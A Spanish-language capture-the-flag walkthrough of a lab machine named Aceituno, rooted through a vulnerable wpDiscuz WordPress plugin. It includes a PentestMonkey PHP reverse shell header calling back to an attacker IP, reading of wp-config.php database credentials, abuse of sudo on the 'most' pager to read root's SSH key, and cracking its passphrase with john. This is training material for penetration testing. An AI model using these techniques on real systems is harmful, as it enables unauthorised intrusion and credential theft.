Vamos a realizar un segundo escaneo para determinar el servicio y versión misma:
Bien, vemos 2 puertos enfocados a http donde normalmente el puerto 443 es para https pero vemos que no es el caso. Vamos a ver de primeras el puerto 80, donde en el segundo escaneo nmap vemos que detecto que es un WordPress en la versión 6.5.2:
Vemos que falla en la carga seguramente porque haya un dominio configurado, si leemos el código fuente nos podremos percatar de lo siguiente:
Vale, ahora empleemos el dominio para ver si carga la página web:
Bien, vamos a emplear wpscan para hacer una enumeración exhaustiva a toda la aplicación wordpress:
Vemos que el plugin wpdiscuz en la versión 7.0.4 donde nos comentan que la ultima versión del plugin es 7.6.33, vamos a buscar algún posible CVE:
Shell as www-data
Vemos que hay un CVE reportado cuyo fallo de seguridad es Unauthenticated Remote Command Execution, buscando encontre el siguiente exploit en GitHub:
Ahora en el exploit vamos a poner los respectivos datos solicitados y vamos a ver si funciona:
Vamos a ver si funciona:
Bien!! Ahora me bajaré el PHP PentestMonkey y la descargaré en el servidor:
Ahora nos pondremos en escucha y abriremos un servidor en python3:
Ahora lo descargaremos en el servidor y lo abriremos:
Vemos que somos el usuario www-data.
Shell as aceituno
Al a ver un WordPress vamos a leer el archivo wp-config.php para ver las credenciales con las que se están conectando:
Vamos a conectarnos:
Vamos a ver las bases de datos existentes:
Vamos a usar la base de datos y enumerar las tablas:
Si nos fijamos existe una tabla no común en las bases de datos de wordpress, se llama pelopicopata, vamos a seleccionar todas las columnas:
Se ve que forma la palabra ElSeñorDeLaNoche seguramente la letra ñ no se muestre por conflicto. Vamos a probar por SSH ambas:
ElSeorDeLaNoche
ElSeñorDeLaNoche
Shell as root
Vamos a ver si tenemos permisos SUDOERS:
Vemos que podemo usar el binario most, si lo buscamos en GTFObins no está. Vamos a ver su ayuda:
Si buscamos por google que es most es un paginador de texto. Esto significa que como root podemos leer cualquier archivo. Vamos a intentar leer el id_rsa de root:
Vemos que funciona!! Vamos a copiarlo y darle el permiso 600:
Ahora vamos a usarlo para iniciar por SSH con el id_rsa:
Vemos que nos piden contraseña… Vamos a usar ssh2john para sacar el hash y con john crackearlo:
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.44.138';
$port = 9090;
[..]
www-data@Aceituno:/var/www/html/wordpress$ cat wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/documentation/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wp_user' );
/** Database password */
define( 'DB_PASSWORD', 'Tomamoreno' );
[..]
www-data@Aceituno:/var/www/html/wordpress$ mysql -u wp_user -pTomamoreno
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 141839
Server version: 10.11.6-MariaDB-0+deb12u1 Debian 12
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
┌──(pylon㉿kali)-[~]
└─$ ssh aceituno@192.168.44.138
aceituno@192.168.44.138's password:
Linux Aceituno 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jul 21 18:42:42 2025 from 192.168.44.128
aceituno@Aceituno:~$
aceituno@Aceituno:~$ sudo -l
Matching Defaults entries for aceituno on Aceituno:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User aceituno may run the following commands on Aceituno:
(root) NOPASSWD: /usr/bin/most
aceituno@Aceituno:~$ sudo /usr/bin/most
MOST version 5.0.0 (S-Lang version 2.3.3)
*Note: This executable was compiled against S-Lang 2.3.2
Usage:
most [-1Cbcdkstvw] [+/string] [+line number] [+s] [+d] file...
where: -1: assume VT100 terminal. (VMS only)
-b: Startup in binary mode.
-C: disable color support
-c: Make searches case sensitive.
-d: Do not display the \ wrap marker when wrapping lines.
-M: Do not attempt to mmap files.
-s: Squeeze out excess blank lines.
-t: Display tabs as ^I. If this option is immediately followed
by an integer, the integer sets the tab width.
-u: Disable UTF-8 mode
-v: Do not interpret backspace formatting characters.
-w: Wrap lines.
-z: No gunzip-on-the-fly.
+/string:
Search for string
+line number
Start up at specified line number.
+d: Allow file deletion.
+s: Secure Mode-- no edit, cd, shell, and reading files not
already listed on the command line.
+u: Enable UTF-8 mode.
Example: most -ct4 +82 keymap.c
makes searches case sensitive, sets tabwidth to 4, and displays the file
keymap.c starting at line 82.
┌──(pylon㉿kali)-[~/…/pylon/THL/Aceituno/content]
└─$ ssh root@192.168.44.138 -i id_rsa
Enter passphrase for key 'id_rsa':
┌──(pylon㉿kali)-[~/…/pylon/THL/Aceituno/content]
└─$ ssh2john id_rsa > id_hash
┌──(pylon㉿kali)-[~/…/pylon/THL/Aceituno/content]
└─$ john -w=/usr/share/wordlists/rockyou.txt id_hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blessed1 (id_rsa)
1g 0:00:00:40 DONE (2025-07-21 20:47) 0.02482g/s 50.03p/s 50.03c/s 50.03C/s melinda..jesusfreak
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(pylon㉿kali)-[~/…/pylon/THL/Aceituno/content]
└─$ ssh root@192.168.44.138 -i id_rsa
Enter passphrase for key 'id_rsa':
Linux Aceituno 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jul 21 18:46:30 2025 from 192.168.44.128
root@Aceituno:~# whoami
root